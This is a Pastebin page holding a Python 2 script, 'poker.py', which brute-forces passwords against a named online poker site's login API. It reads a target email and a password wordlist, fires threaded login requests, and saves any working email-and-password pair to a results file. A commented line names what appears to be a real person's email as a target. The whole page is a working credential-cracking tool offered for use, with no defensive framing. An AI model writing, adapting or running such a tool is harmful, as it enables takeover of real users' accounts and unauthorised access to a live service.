SHARE
TWEET

poker.py

a guest Jan 19th, 2020 85 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #coding=utf-8
  2.  
  3. import requests,sys,os
  4. from multiprocessing.pool import ThreadPool
  5. class main:
  6.     def __init__(self):
  7.         self.cracks=0
  8.         self.found=0
  9.         self.a="http://geaxpoker.com/api/login.json"
  10.         self.e()
  11.        
  12.     def e(self):
  13.         #self.email="mrskltnv@gmail.com"
  14.         self.email=raw_input("Email: ")
  15.         if self.email=="":
  16.             self.e()
  17.         else:
  18.             self.wlist()
  19.        
  20.     def wlist(self):
  21.         try:
  22.             #self.w=open("wlist.lst").read().splitlines()
  23.             self.w=open(raw_input("Password: ")).read().splitlines()
  24.             if len(self.w)==0:
  25.                 print("File Kosong.")
  26.                 self.wlist()
  27.         except Exception as e:
  28.             print("Error: %s"%e)
  29.             self.wlist()
  30.         self.thr()
  31.        
  32.     def thr(self):
  33.         try:
  34.             #self.t=ThreadPool(1)
  35.             self.t=ThreadPool(input("Thread: "))
  36.         except Exception as e:
  37.             print("!: %s"%e)
  38.             self.thr()
  39.         self.t.map(self.crack,self.w)
  40.         if self.found==0:
  41.             print "No result found."
  42.             os.system("exit")
  43.         else:
  44.             os.system("exit")
  45.    
  46.        
  47.     def crack(self,u):
  48.         print("\rCracking: %s/%s"%(self.cracks,len(self.w))),;sys.stdout.flush()
  49.         try:
  50.             r=requests.post(self.a,
  51.                 data={"device":"-1",
  52.                     "width":"320","version":"1.0","user":self.email,"pw":u}).json()
  53.             if "sessid" in r.keys():
  54.                 self.found+=1
  55.                 res="\nPASSWORD FOUND: %s & Password: %s"%(self.email,u)
  56.                 open("Result.txt","a+").write(res+"\n")
  57.                 print res
  58.                 print "Result: Result.txt\r"
  59.                 os.system("exit")
  60.             else:
  61.                 self.cracks+=1
  62.                
  63.         except:
  64.             self.crack(u)
  65.                
  66. main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top